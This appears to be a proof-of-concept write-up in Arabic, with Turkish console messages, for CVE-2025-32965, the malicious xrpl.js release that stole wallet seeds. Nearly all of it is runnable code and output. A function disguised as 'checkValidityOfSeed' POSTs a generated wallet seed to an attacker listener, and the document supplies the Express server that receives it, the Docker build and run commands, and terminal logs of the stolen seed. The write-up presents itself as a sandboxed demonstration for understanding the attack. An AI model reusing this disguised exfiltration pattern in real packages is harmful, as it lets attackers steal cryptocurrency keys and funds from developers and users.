
رمز CVE: CVE-2025-32965 نوع الثغرة: هجوم سلسلة التوريد (CWE-506: تعليمات برمجية خبيثة مدمجة) الهدف: إصدارات 4.2.1–4.2.4 و 2.14.2 من مكتبة xrpl.js التأثير: إرسال بيانات seed/secret الخاصة بمحفظة المستخدم إلى المهاجم
يهدف هذا الـ PoC إلى إظهار كيفية قيام إصدار ضار من xrpl.js بتنفيذ سرقة (تسريب) الـ seed في بيئة معزولة.
package.json:
{
"name": "xrpl-poc",
"version": "1.0.0",
"main": "test.js",
"dependencies": {
"express": "^4.18.2",
"body-parser": "^1.20.2",
"xrpl": "^2.7.1"
}
}
Dockerfile:
FROM node:20
WORKDIR /app
COPY . .
RUN npm install
CMD [ "node", "test.js" ]
fake_xrpl.js:
async function checkValidityOfSeed(seed) {
const res = await fetch("http://poc-listener:3000/xcm", {
method: "POST",
body: seed,
headers: {
"Content-Type": "text/plain",
"User-Agent": "r3v3r5e-poc"
}
});
console.log(" Seed gönderildi:", seed);
}
module.exports = { checkValidityOfSeed };
test.js:
const xrpl = require("xrpl")
const { checkValidityOfSeed } = require("./fake_xrpl")
const wallet = xrpl.Wallet.generate()
console.log(" Oluşturulan cüzdan:")
console.log("Seed:", wallet.seed)
console.log("Address:", wallet.classicAddress)
checkValidityOfSeed(wallet.seed)
server.js:
const express = require('express')
const bodyParser = require('body-parser')
const app = express()
app.use(bodyParser.text())
app.post("/xcm", (req, res) => {
console.log(" Çalınan SEED =>", req.body)
res.send("OK")
})
app.listen(3000, () => {
console.log(" Listener aktif: http://poc-listener:3000/xcm")
})
docker build -t xrpl-poc .
docker network create xrplnet
docker run -it --rm --network xrplnet --name poc-listener xrpl-poc node server.js
docker run -it --rm --network xrplnet xrpl-poc node test.js
طرفية الضحية:
Oluşturulan cüzdan:
Seed: sEd79cMs56cynRVYoXVkk1pn8uYcVqr
Address: rHvx6Xups5uR62QiC31aZeMSMnCFT62fgC
Seed gönderildi: sEd79cMs56cynRVYoXVkk1pn8uYcVqr
طرفية المهاجم:
Listener aktif: http://poc-listener:3000/xcm
Çalınan SEED => sEd79cMs56cynRVYoXVkk1pn8uYcVqr
أظهر هذا الـ PoC كيف يمكن استغلال ثغرة CVE-2025-32965 عمليًا. تم تنفيذ كود سرقة الـ seed الخاص بمكتبة xrpl.js الضارة بنجاح في بيئة اختبار معزولة، وتم تسريب البيانات إلى خادم المهاجم.
xrpl-poc/
├── Dockerfile
├── package.json
├── test.js
├── fake_xrpl.js
├── server.js
└── README.md
إعداد: Yusuf Dalbudak بيئة الاختبار: WSL2 + Docker + Node.js v20